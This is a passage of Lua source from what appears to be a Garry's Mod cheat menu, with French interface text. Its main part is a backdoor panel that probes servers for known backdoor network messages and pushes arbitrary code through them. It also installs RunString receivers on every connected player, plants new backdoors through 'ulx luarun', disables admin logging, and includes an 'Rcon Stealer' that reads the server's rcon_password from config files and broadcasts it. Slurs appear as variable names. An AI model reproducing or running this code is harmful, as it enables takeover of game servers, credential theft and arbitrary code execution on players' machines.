5328surface.DrawRect(0, 21, barw, h / 5)
5329
5330else
5331surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
5332surface.DrawRect(0, 21, barw, h / 5)
5333end
5334end
5335function pDistance:SetHeight(tall)
5336self.Slider.Knob:SetHeight(tall / 2 + 4)
5337DSlider.SetHeight(self, tall)
5338pDistance.SetTall = pDistance.SetHeight
5339pDistance.Slider.Knob:SetTall(5)
5340end
5341function pDistance.Slider.Knob:Paint(w, h)
5342derma.SkinHook( "Paint", "Button", self, 0, 0 )
5343end
5344
5345
5346local pDistanceB = vgui.Create( "DNumSlider", pContent )
5347pDistanceB:SetPos( 330, 64 )
5348pDistanceB:SetSize( 180, 50 )
5349pDistanceB:SetText( "" )
5350pDistanceB:SetMin( 200 )
5351pDistanceB:SetMax( 20000 )
5352pDistanceB:SetDecimals( 0 )
5353pDistanceB:SetValue( fiji_vision_distance_ent:GetInt() or 200 )
5354pDistanceB.Scratch:SetVisible( false )
5355pDistanceB.TextArea:SetTextColor( color_white )
5356function pDistanceB:OnValueChanged( val )
5357RunConsoleCommand( 'BD_hitman_distance_ent', tonumber( self:GetValue() ) )
5358end
5359function pDistanceB.Slider:Paint(w, h)
5360surface.SetDrawColor(0, 0, 0, 255)
5361surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
5362if fiji_style_menu:GetInt() == 2 then
5363surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5364surface.DrawRect(0, 21, barw, h / 5)
5365
5366elseif fiji_style_menu:GetInt() == 1 then
5367surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
5368surface.DrawRect(0, 21, barw, h / 5)
5369
5370else
5371surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
5372surface.DrawRect(0, 21, barw, h / 5)
5373end
5374end
5375function pDistanceB:SetHeight(tall)
5376self.Slider.Knob:SetHeight(tall / 2 + 4)
5377DSlider.SetHeight(self, tall)
5378pDistanceB.SetTall = pDistanceB.SetHeight
5379pDistanceB.Slider.Knob:SetTall(5)
5380end
5381function pDistanceB.Slider.Knob:Paint(w, h)
5382derma.SkinHook( "Paint", "Button", self, 0, 0 )
5383end
5384
5385local pDistanceC = vgui.Create( "DNumSlider", pContent )
5386pDistanceC:SetPos( 330, 261 )
5387pDistanceC:SetSize( 180, 50 )
5388pDistanceC:SetText( "" )
5389pDistanceC:SetMin( 200 )
5390pDistanceC:SetMax( 15000 )
5391pDistanceC:SetDecimals( 0 )
5392pDistanceC:SetValue( fiji_vision_distance_props:GetInt() or 200 )
5393pDistanceC.Scratch:SetVisible( false )
5394pDistanceC.TextArea:SetTextColor( color_white )
5395function pDistanceC:OnValueChanged( val )
5396RunConsoleCommand( 'BD_hitman_distance_props', tonumber( self:GetValue() ) )
5397end
5398function pDistanceC.Slider:Paint(w, h)
5399surface.SetDrawColor(0, 0, 0, 255)
5400surface.DrawRect(0, 21, w, h / 5) local parent = self:GetParent() local barw = w * ( (parent:GetValue() - parent:GetMin()) / parent:GetRange() )
5401if fiji_style_menu:GetInt() == 2 then
5402surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5403surface.DrawRect(0, 21, barw, h / 5)
5404
5405elseif fiji_style_menu:GetInt() == 1 then
5406surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
5407surface.DrawRect(0, 21, barw, h / 5)
5408
5409else
5410surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt())
5411surface.DrawRect(0, 21, barw, h / 5)
5412end
5413end
5414function pDistanceC:SetHeight(tall)
5415self.Slider.Knob:SetHeight(tall / 2 + 4)
5416DSlider.SetHeight(self, tall)
5417pDistanceC.SetTall = pDistanceC.SetHeight
5418pDistanceC.Slider.Knob:SetTall(5)
5419end
5420function pDistanceC.Slider.Knob:Paint(w, h)
5421derma.SkinHook( "Paint", "Button", self, 0, 0 )
5422end
5423end
5424
5425
5426
5427
5428
5429concommand.Add("fiji_bckdrs", function()
5430
5431local bdactiv = "";
5432
5433function bdactiv( str )
5434local status, error = pcall( net.Start, str )
5435return status
5436end
5437
5438if( bdactiv("Ulx_Error_88") ) then
5439bdactivname = "Ulx_Error_88"
5440else
5441end
5442if( bdactiv("FAdmin_Notification_Receiver") ) then
5443bdactivname = "FAdmin_Notification_Receiver"
5444else
5445end
5446if( bdactiv("DarkRP_ReceiveData") ) then
5447bdactivname = "DarkRP_ReceiveData"
5448else
5449end
5450if( bdactiv("fijiconn") ) then
5451bdactivname = "fijiconn"
5452else
5453end
5454if( bdactiv("Weapon_88") ) then
5455bdactivname = "Weapon_88"
5456else
5457end
5458if( bdactiv("nostrip") ) then
5459bdactivname = "nostrip"
5460else
5461end
5462if( bdactiv("SessionBackdoor") ) then
5463bdactivname = "SessionBackdoor"
5464else
5465end
5466if( bdactiv("DarkRP_AdminWeapons") ) then
5467bdactivname = "DarkRP_AdminWeapons"
5468else
5469end
5470if( bdactiv("_CAC_ReadMemory") ) then
5471bdactivname = "_CAC_ReadMemory"
5472else
5473end
5474if( bdactiv("thefrenchenculer") ) then
5475bdactivname = "thefrenchenculer"
5476else
5477end
5478if( bdactiv("Fix_Keypads") ) then
5479bdactivname = "Fix_Keypads"
5480else
5481end
5482if( bdactiv("Remove_Exploiters") ) then
5483bdactivname = "Remove_Exploiters"
5484else
5485end
5486if( bdactiv("MoonMan") ) then
5487bdactivname = "MoonMan"
5488else
5489end
5490if( bdactiv("disablebackdoor") ) then
5491bdactivname = "disablebackdoor"
5492else
5493end
5494if( bdactiv("Sbox_itemstore") ) then
5495bdactivname = "Sbox_itemstore"
5496else
5497end
5498if( bdactiv("Sbox_darkrp") ) then
5499bdactivname = "Sbox_darkrp"
5500else
5501end
5502if( bdactiv("R8") ) then
5503bdactivname = "R8"
5504else
5505end
5506if( bdactiv("c") ) then
5507bdactivname = "c"
5508else
5509end
5510if( bdactiv("_cac_") ) then
5511bdactivname = "_cac_"
5512else
5513end
5514if( bdactiv("_Defqon") ) then
5515bdactivname = "_Defqon"
5516else
5517end
5518if( bdactiv("noclipcloakaesp_chat_text") ) then
5519bdactivname = "noclipcloakaesp_chat_text"
5520else
5521end
5522if( bdactiv("Sandbox_ArmDupe") ) then
5523bdactivname = "Sandbox_ArmDupe"
5524else
5525end
5526
5527
5528
5529local it = 50
5530if not snte then
5531
5532function BD.Fire( code )
5533
5534local cbd = BD.CurrentBackdoor
5535
5536if !BD.Backdoors[cbd] then
5537
5538
5539
5540return
5541
5542end
5543
5544local key = BD.BackdoorTypes[cbd].Netkey
5545
5546
5547
5548bdnet().Start( key )
5549
5550bdnet().WriteString( code )
5551
5552bdnet().SendToServer()
5553
5554end
5555
5556BD.Backdoors = BD.PingBackDoors()
5557if !BD.IsMessagePooled( "pitysaver" ) and BD.BackdoorActive() then
5558BD.Fire( [[util.AddNetworkString( "pitysaver" )
5559function BDSendLua( p, str ) net.Start( "pitysaver" ) net.WriteString( str ) net.Send( p ) end
5560function BDSendLuaAll( str ) net.Start( "pitysaver" ) net.WriteString( str ) net.Broadcast() end
5561function BDInjectAids( p ) p:SendLua( 'net.Receive( "pitysaver", function() RunString( net.ReadString() ) end )' ) end
5562for k, v in pairs( player.GetAll() ) do BDInjectAids( v ) end
5563hook.Add( "PlayerInitialSpawn", "pityforever", function( p ) BDInjectAids( p ) end)
5564]] )
5565end
5566
5567local BackdoorsMenu = vgui.Create( "DFrame" )
5568BackdoorsMenu:SetSize( 700, 400 )
5569BackdoorsMenu:Center()
5570BackdoorsMenu:SetTitle("")
5571BackdoorsMenu:SetDraggable(true)
5572BackdoorsMenu:ShowCloseButton( false )
5573BackdoorsMenu:MakePopup()
5574function BackdoorsMenu:Paint( w, h )
5575
5576
5577DrawBlur(self, 25)
5578draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0,245 ) )
5579if fiji_style_menu:GetInt() == 2 then
5580draw.RoundedBox( 0, 4, 4, w - 8, 2,Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)))
5581draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
5582draw.RoundedBox( 0, 4, 6, 2, h - 12, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
5583draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
5584elseif fiji_style_menu:GetInt() == 1 then
5585draw.RoundedBox( 0, 4, 4, w - 8, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
5586draw.RoundedBox( 0, 4, h - 6, w - 10, 2, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
5587draw.RoundedBox( 0, 4, 6, 2, h - 12, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
5588draw.RoundedBox( 0, w - 6, 6, 2, h - 10, HSVToColor( CurTime() % 6 * 60, 1, 0.5 ) )
5589else
5590draw.RoundedBox( 0, 4, 4, w - 8, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
5591draw.RoundedBox( 0, 4, h - 6, w - 10, 2, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
5592draw.RoundedBox( 0, 4, 6, 2, h - 12, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
5593draw.RoundedBox( 0, w - 6, 6, 2, h - 10, Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) )
5594end
5595end
5596
5597concommand.Add( "fiji_clearbd", function() -- fiji_sv_existmen
5598BackdoorsMenu:Remove()
5599
5600end)
5601
5602local TextBackdoor = vgui.Create( "DPanel", BackdoorsMenu )
5603TextBackdoor:SetSize(700,400)
5604TextBackdoor:SetPos(0,0)
5605TextBackdoor.Paint = function( self, w, h )
5606--draw.RoundedBox( 0, 0, 0, w, h, Color( 255, 0, 0,255 ) )
5607draw.SimpleText("♦ Commandes générales", "DermaDefault", 65, 15, Color(255, 255, 255,100), 0, 1)
5608draw.SimpleText("♦ Commandes par joueurs", "DermaDefault", 65, 120, Color(255, 255, 255,100), 0, 1)
5609draw.SimpleText("Paramétrage commandes :", "DermaDefault", 475, 320, Color(255, 255, 255,100), 0, 1)
5610
5611end
5612
5613local CloseBackdoors = vgui.Create( "DButton", BackdoorsMenu)
5614CloseBackdoors:SetPos( 670, 8)
5615CloseBackdoors:SetSize( 20, 15 )
5616CloseBackdoors:SetTextColor( Color( 255, 255, 255, 255 ) )
5617CloseBackdoors:SetText( "X" )
5618CloseBackdoors.Paint = function( self, w, h )
5619draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
5620if self:IsHovered() then
5621draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
5622else
5623draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
5624end
5625CloseBackdoors.DoClick = function()
5626LocalPlayer():ConCommand("fiji_sv_existmen 0")
5627BackdoorsMenu:Remove()
5628end
5629end
5630
5631local ReturnBackdoors = vgui.Create( "DButton", BackdoorsMenu)
5632ReturnBackdoors:SetPos( 638, 8)
5633ReturnBackdoors:SetSize( 30, 15)
5634ReturnBackdoors:SetTextColor( Color( 255, 255, 255, 255 ) )
5635ReturnBackdoors:SetText( "<--" )
5636ReturnBackdoors.Paint = function( self, w, h )
5637draw.RoundedBox( 0, 0, 0, w, h, Color(190, 53, 255, 0))
5638if self:IsHovered() then
5639draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 100))
5640else
5641draw.RoundedBox( 0, 0, 0, w, h, Color(100, 100, 100, 50))
5642end
5643ReturnBackdoors.DoClick = function()
5644LocalPlayer():ConCommand("pity")
5645BackdoorsMenu:Remove()
5646end
5647end
5648
5649local wedungoofd = vgui.Create( "DLabel", BackdoorsMenu )
5650wedungoofd:SetPos( 13, 0 )
5651wedungoofd:SetFont( "Trebuchet18" )
5652wedungoofd:SetColor( Color( 120, 50, 50 ) )
5653wedungoofd:SetText( "" )
5654wedungoofd:SizeToContents()
5655for bd, t in pairs( BD.BackdoorTypes ) do
5656---------------------------------------------------------------------------------------------------------
5657---------------------------------------------------------------------------------------------------------
5658local faggot = vgui.Create("DButton", BackdoorsMenu)
5659faggot:SetSize( 50, 14 )
5660faggot:SetPos( 10, 1+it-it/1.18 )
5661faggot:SetText( bd )
5662faggot.Paint = function(panel, w, h)
5663
5664if BD.Backdoors[bd] then
5665faggot:SetTextColor(Color(255, 255, 255, 255))
5666draw.RoundedBox( 0, 0, 0, w, h, Color( 50, 50, 50, 230 ) )
5667draw.RoundedBox( 20, 0, 0, 2, h, Color( 100, 100, 100, 120 ) )
5668draw.RoundedBox( 2, 0, 0, w, 2, Color( 100, 100, 100, 120 ) )
5669draw.RoundedBox( 2, w - 2, 0, 2, h, Color( 100, 100, 100, 120 ) )
5670draw.RoundedBox( 2, 0, h - 2, w, 2, Color( 100, 100, 100, 120 ) )
5671else
5672faggot:SetTextColor(Color(255, 255, 255, 50))
5673draw.RoundedBox( 0, 0, 0, w, h, Color( 0, 0, 0, 120 ) )
5674end
5675end
5676faggot.DoClick = function()
5677if BD.Backdoors[bd] then
5678NOTIFICATION("Vous utilisez désormais la backdoor "..bd)
5679BD.CurrentBackdoor = bd
5680surface.PlaySound( "buttons/combine_button1.wav" )
5681else
5682NOTIFICATIONNO("Backdoor non présente")
5683end
5684end
5685it = it + 105
5686end
5687
5688local PlistAll = vgui.Create( "DPanelList", BackdoorsMenu )
5689PlistAll:SetPos( 62, 25 )
5690PlistAll:SetSize( 630, 200 )
5691PlistAll:SetPadding( 0 )
5692PlistAll:SetSpacing( 2 )
5693PlistAll:EnableHorizontal( true )
5694PlistAll:EnableVerticalScrollbar( true )
5695PlistAll:SetName( "" )
5696PlistAll.Paint = function( self, w, h )
5697--draw.RoundedBox( 0, 0, 0, w, h, Color( 255, 0, 0,255 ) )
5698
5699
5700end
5701local PlistAllOnePlayer = vgui.Create( "DPanelList", BackdoorsMenu )
5702PlistAllOnePlayer:SetPos( 62, 130 )
5703PlistAllOnePlayer:SetSize( 630, 166 )
5704PlistAllOnePlayer:SetPadding( 0 )
5705PlistAllOnePlayer:SetSpacing( 2 )
5706PlistAllOnePlayer:EnableHorizontal( true )
5707PlistAllOnePlayer:EnableVerticalScrollbar( true )
5708PlistAllOnePlayer:SetName( "" )
5709PlistAllOnePlayer.Paint = function( self, w, h )
5710--draw.RoundedBox( 0, 0, 0, w, h, Color( 255, 0, 0,255 ) )
5711
5712end
5713local PlistAllPlayer = vgui.Create( "DPanelList", BackdoorsMenu )
5714PlistAllPlayer:SetPos( 62, 250 )
5715PlistAllPlayer:SetSize( 314, 115 )
5716PlistAllPlayer:SetPadding( 0 )
5717PlistAllPlayer:SetSpacing( 1 )
5718PlistAllPlayer:EnableHorizontal( false )
5719PlistAllPlayer:EnableVerticalScrollbar( true )
5720PlistAllPlayer:SetName( "" )
5721PlistAllPlayer.Paint = function( self, w, h )
5722--draw.RoundedBox( 0, 0, 0, w, h, Color( 255, 0, 0,255 ) )
5723surface.SetDrawColor(0, 0, 0 ,0)
5724surface.DrawOutlinedRect(0, 0, w, h)
5725surface.DrawOutlinedRect(1, 1, w-2, h-2)
5726surface.DrawOutlinedRect(2, 2, w-4, h-4)
5727surface.SetDrawColor(0, 0, 0 ,100)
5728surface.DrawRect(0, 0, w, h)
5729end
5730local faggot = vgui.Create("DButton", BackdoorsMenu)
5731faggot:SetSize( 311, 30 )
5732faggot:SetPos( 380, 361 )
5733faggot:SetText("Lancer/Stopper")
5734faggot:SetTextColor(Color(255, 255, 255, 255))
5735faggot.Paint = function(panel, w, h)
5736if faggot:IsHovered() then
5737if fiji_style_menu:GetInt() == 2 then
5738surface.SetDrawColor(50, 50, 50 ,150)
5739surface.DrawRect(0, 0, w, h)
5740surface.SetDrawColor(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75))
5741surface.DrawOutlinedRect(0, 0, w, h)
5742
5743elseif fiji_style_menu:GetInt() == 3 then
5744surface.SetDrawColor(50, 50, 50 ,150)
5745surface.DrawRect(0, 0, w, h)
5746surface.SetDrawColor(255, 91, 91)
5747surface.DrawOutlinedRect(0, 0, w, h)
5748
5749elseif fiji_style_menu:GetInt() == 1 then
5750
5751surface.SetDrawColor(50, 50, 50 ,150)
5752surface.DrawRect(0, 0, w, h)
5753surface.SetDrawColor(HSVToColor( CurTime() % 6 * 60, 1, 0.5 ))
5754surface.DrawOutlinedRect(0, 0, w, h)
5755
5756else
5757surface.SetDrawColor(50, 50, 50 ,150)
5758surface.DrawRect(0, 0, w, h)
5759surface.SetDrawColor(fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255)
5760surface.DrawOutlinedRect(0, 0, w, h)
5761
5762end end
5763surface.SetDrawColor(150, 150, 150 ,50)
5764surface.DrawOutlinedRect(0, 0, w, h)
5765end
5766faggot.DoClick = function()
5767if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then NOTIFICATIONNO("Veuillez séléctionner une commande") return end
5768if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
5769local cbd = BD.CurrentBackdoor if !BD.Backdoors[cbd] then NOTIFICATIONNO( "Veuillez séléctionner une backdoor présente") return end
5770end
5771
5772local commandpersotext = vgui.Create( "DTextEntry", BackdoorsMenu ) -- create the form as a child of frame
5773commandpersotext:SetPos( 380, 282 )
5774commandpersotext:SetSize( 103, 30 )
5775commandpersotext:SetMultiline( true )
5776commandpersotext:SetText( "" )
5777commandpersotext.OnEnter = function( self )
5778chat.AddText( self:GetValue() ) -- print the form's text as server text
5779end
5780
5781local commandperso = vgui.Create("DButton", BackdoorsMenu)
5782commandperso:SetSize( 103, 30 )
5783commandperso:SetPos( 380, 252 )
5784commandperso:SetText("Commande Perso.")
5785commandperso:SetTextColor(Color(255, 255, 255, 255))
5786commandperso.Paint = function(panel, w, h)
5787if commandperso:IsHovered() then
5788surface.SetDrawColor(50, 50, 50 ,150)
5789surface.DrawRect(0, 0, w, h)
5790surface.SetDrawColor(255, 255, 255)
5791surface.DrawOutlinedRect(0, 0, w, h)
5792else
5793surface.SetDrawColor(0, 0, 0 ,150)
5794surface.DrawRect(0, 0, w, h)
5795surface.SetDrawColor(255, 255, 255 ,100)
5796surface.DrawOutlinedRect(0, 0, w, h)
5797end
5798end
5799commandperso.DoClick = function()
5800
5801LocalPlayer():ConCommand( "ulx luarun util.AddNetworkString( 'fijiconn' ) net.Receive( 'fijiconn', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )" )
5802
5803local cbd = BD.CurrentBackdoor if !BD.Backdoors[cbd] then NOTIFICATIONNO( "Veuillez séléctionner une backdoor présente") return end
5804NOTIFICATION("Commande personnalisée lançé avec sucès")
5805net.Start(bdactivname)
5806net.WriteString( commandpersotext:GetText() )
5807net.WriteBit (1)
5808net.SendToServer()
5809
5810end
5811
5812
5813local luarunback = vgui.Create("DButton", BackdoorsMenu)
5814luarunback:SetSize( 103, 60 )
5815luarunback:SetPos( 485, 252 )
5816luarunback:SetText("Lancer backdoor")
5817luarunback:SetTextColor(Color(255, 255, 255, 255))
5818luarunback.Paint = function(panel, w, h)
5819if luarunback:IsHovered() then
5820surface.SetDrawColor(50, 50, 50 ,150)
5821surface.DrawRect(0, 0, w, h)
5822surface.SetDrawColor(255, 255, 255)
5823surface.DrawOutlinedRect(0, 0, w, h)
5824else
5825surface.SetDrawColor(0, 0, 0 ,150)
5826surface.DrawRect(0, 0, w, h)
5827surface.SetDrawColor(255, 255, 255 ,100)
5828surface.DrawOutlinedRect(0, 0, w, h)
5829end
5830end
5831luarunback.DoClick = function()
5832NOTIFICATION("Tentative de lancement des backdoors...")
5833LocalPlayer():ConCommand( [[ulx rcon ulx logecho 0]] )
5834timer.Simple( 0.5, function()
5835LocalPlayer():ConCommand( "ulx luarun util.AddNetworkString( 'fijiconn' ) net.Receive( 'fijiconn', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )" )
5836end )
5837timer.Simple( 1, function() LocalPlayer():ConCommand( [[ulx rcon ulx logecho 0]] ) end )
5838timer.Simple( 0.5, function() if BD.IsMessagePooled( BD.GetActive().Netkey ) then NOTIFICATION("Backdoor lançé ✔") LocalPlayer():ConCommand("fiji_clearbd") LocalPlayer():ConCommand("fiji_sv_existmen 0")
5839else LocalPlayer():ConCommand("fiji_clearbd") LocalPlayer():ConCommand("fiji_sv_existmen 0")end end )
5840if not LocalPlayer():IsSuperAdmin() then
5841NOTIFICATIONNO("Vous n'etes pas Superadmin")
5842else
5843NOTIFICATION( "Veuillez vérifier les backdoors")
5844end
5845end
5846
5847local rconstealerh = vgui.Create("DButton", BackdoorsMenu)
5848rconstealerh:SetSize( 101, 60 )
5849rconstealerh:SetPos( 590, 252 )
5850rconstealerh:SetText("Rcon Stealer")
5851rconstealerh:SetTextColor(Color(255, 255, 255, 255))
5852rconstealerh.Paint = function(panel, w, h)
5853if rconstealerh:IsHovered() then
5854surface.SetDrawColor(50, 50, 50 ,150)
5855surface.DrawRect(0, 0, w, h)
5856surface.SetDrawColor(255, 255, 255)
5857surface.DrawOutlinedRect(0, 0, w, h)
5858else
5859surface.SetDrawColor(0, 0, 0 ,150)
5860surface.DrawRect(0, 0, w, h)
5861surface.SetDrawColor(255, 255, 255 ,100)
5862surface.DrawOutlinedRect(0, 0, w, h)
5863end
5864end
5865rconstealerh.DoClick = function()
5866local cbd = BD.CurrentBackdoor if !BD.Backdoors[cbd] then NOTIFICATIONNO( "Veuillez séléctionner une backdoor présente") return end
5867NOTIFICATION("Recherche en cours...")
5868status = ValidNetString("jeveuttonrconleul")
5869local rcon = [[
5870util.AddNetworkString("rcon_passw_dump")
5871util.AddNetworkString("jeveuttonrconleul")
5872util.AddNetworkString("aucun_rcon_ici")
5873net.Receive( "jeveuttonrconleul", function()
5874local RconPassword
5875if file.Exists("cfg/server.cfg", "GAME") then
5876for k, v in pairs(string.Explode("\n", file.Read("cfg/server.cfg", "GAME"))) do
5877if string.find(v, "rcon_password") then
5878RconPassword = v
5879end
5880end
5881end
5882if not RconPassword and file.Exists("cfg/autoexec.cfg", "GAME") then
5883for k, v in pairs(string.Explode("\n", file.Read("cfg/autoexec.cfg", "GAME"))) do
5884if string.find(v, "rcon_password") then
5885RconPassword = v
5886end
5887end
5888end
5889if RconPassword ~= nil then
5890net.Start("rcon_passw_dump")
5891net.WriteString(RconPassword)
5892net.Broadcast()
5893else
5894net.Start("aucun_rcon_ici")
5895net.Broadcast()
5896end
5897end)
5898]]
5899local cbd = BD.CurrentBackdoor
5900net.Start(bdactivname)
5901net.WriteString( rcon )
5902net.WriteBit(1)
5903net.SendToServer()
5904timer.Simple( 0.5, function()
5905if status then
5906net.Start("jeveuttonrconleul")
5907net.SendToServer()
5908else
5909NOTIFICATIONNO("Rcon Password non-trouvé. Réessayez, sinon assurez-vous qu'il y ai une backdoor sur le serveur")
5910end
5911end)
5912end
5913net.Receive( "rcon_passw_dump", function()
5914local rcon_pass = net.ReadString()
5915NOTIFICATION("RCON copier")
5916chat.AddText(Color(255, 255, 255), "Rcon Password du serveur :", Color(0, 255, 0),rcon_pass)
5917SetClipboardText( rcon_pass )
5918end )
5919net.Receive( "aucun_rcon_ici", function()
5920NOTIFICATIONNO("Pas de RCON Password dans le server.cfg")
5921end )
5922local moonman = vgui.Create( "DTextEntry", BackdoorsMenu )
5923moonman:SetPos( 380, 330 )
5924moonman:SetSize( 311, 30 )
5925moonman:SetText( backdoorargs )
5926moonman.OnChange = function( self )
5927backdoorargs = self:GetValue()
5928end
5929local target1 = vgui.Create("DButton", BackdoorsMenu)
5930target1:SetSize( 99, 20 )
5931target1:SetPos( 62, 368 )
5932target1:SetText("Tous")
5933target1:SetTextColor(Color(255, 255, 255, 255))
5934target1.Paint = function(panel, w, h)
5935if target1:IsHovered() then
5936draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 50))
5937else
5938draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 100))
5939end
5940end
5941target1.DoClick = function()
5942for _, p in pairs(player.GetAll()) do
5943if not table.HasValue( selectedplayers, p ) then
5944table.insert( selectedplayers, p )
5945end
5946end
5947end
5948local target2 = vgui.Create("DButton", BackdoorsMenu)
5949target2:SetSize( 99, 20 )
5950target2:SetPos( 170, 368 )
5951target2:SetText("Aucun")
5952target2:SetTextColor(Color(255, 255, 255, 255))
5953target2.Paint = function(panel, w, h)
5954if target2:IsHovered() then
5955draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 50))
5956else
5957draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 100))
5958end
5959end
5960target2.DoClick = function()
5961table.Empty( selectedplayers )
5962end
5963local target2 = vgui.Create("DButton", BackdoorsMenu)
5964target2:SetSize( 99, 20 )
5965target2:SetPos( 277, 368 )
5966target2:SetText("Moi")
5967target2:SetTextColor(Color(255, 255, 255, 255))
5968target2.Paint = function(panel, w, h)
5969if target2:IsHovered() then
5970draw.RoundedBox(0,0,0,w,h,Color(150, 150, 150, 50))
5971else
5972draw.RoundedBox( 0, 0, 0, w, h, Color(0, 0, 0, 100))
5973end
5974end
5975target2.DoClick = function()
5976table.Empty( selectedplayers )
5977table.insert( selectedplayers, LocalPlayer() )
5978end
5979for k, v in pairs( player.GetAll() ) do
5980local plypanel2 = vgui.Create( "DPanel" )
5981plypanel2:SetPos( 0, 0 )
5982plypanel2:SetSize( 314, 15 )
5983plypanel2.Paint = function() -- Paint function
5984draw.RoundedBoxEx(8,1,1,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 150), false, false, false, false)
5985if table.HasValue( selectedplayers, v ) then draw.RoundedBoxEx(0,0,0,plypanel2:GetWide(),plypanel2:GetTall(),Color(150, 150, 150, 50), false, false, false, false)
5986else draw.RoundedBoxEx(0,0,0,plypanel2:GetWide(),plypanel2:GetTall(),Color(0, 0, 0, 50), false, false, false, false) end
5987end
5988local plyname = vgui.Create( "DLabel", plypanel2 )
5989plyname:SetPos( 10, 0 )
5990plyname:SetFont( "pity_homemini" )
5991local tcol = Color( 255, 255, 255 )
5992
5993if fiji_style_menu:GetInt() == 2 then
5994if v == LocalPlayer() then tcol = Color( math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75) ) end
5995
5996elseif fiji_style_menu:GetInt() == 3 then
5997if v == LocalPlayer() then tcol = Color( 255, 91, 91 ) end
5998
5999elseif fiji_style_menu:GetInt() == 1 then
6000if v == LocalPlayer() then tcol = HSVToColor( CurTime() % 6 * 60, 1, 0.5 )end
6001
6002else
6003if v == LocalPlayer() then tcol = Color( fiji_menu_princ_color:GetInt(),fiji_menu_sec_color:GetInt(),fiji_menu_th_color:GetInt(), 255 ) end
6004
6005
6006
6007end
6008plyname:SetColor( tcol )
6009plyname:SetText( v:Nick().." "..v:SteamID().." "..v:Team() )
6010plyname:SetSize(314, 15)
6011local faggot = vgui.Create("DButton", plypanel2)
6012faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
6013faggot:SetPos( 0, 0 )
6014faggot:SetText("")
6015faggot.Paint = function(panel, w, h)
6016return
6017end
6018faggot.DoClick = function()
6019if table.HasValue( selectedplayers, v ) then
6020table.RemoveByValue( selectedplayers, v )
6021else
6022table.insert( selectedplayers, v )
6023end
6024end
6025PlistAllPlayer:AddItem( plypanel2 )
6026end
6027
6028BD.GenerateBackdoorList( PlistAll, 1 )
6029BD.GenerateBackdoorList( PlistAllOnePlayer, 2 )
6030BD.GenerateBackdoorList( PlistAllDestruction, 3 )
6031else
6032local TextHomeza2 = vgui.Create( "DPanel", BackdoorsMenu )
6033TextHomeza2:SetSize(1000,650)
6034TextHomeza2.Paint = function( self, w, h )
6035draw.SimpleText("SNTE détecté. Risque de ban", "pity_home3", 330, 235, Color(255, 74, 74,255), 0, 1)
6036draw.SimpleText("Backdoors désactivés", "pity_home2", 430, 265, Color(255, 255, 255,200), 0, 1)
6037end
6038end
6039
6040print( "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" )
6041print( "Backdoors check" )
6042print( "Check terminé" )
6043
6044end)
6045
6046
6047concommand.Add("azazazaza", function()
6048
6049LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'BuyCar' ) net.Receive( 'BuyCar', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
6050LocalPlayer():ConCommand("ulx luarun util.AddNetworkString( 'rpi_trade_end' ) net.Receive( 'rpi_trade_end', function() local x = CompileString( net.ReadString(), 'LuaCmd', false ) if isfunction( x ) then x() end end )")
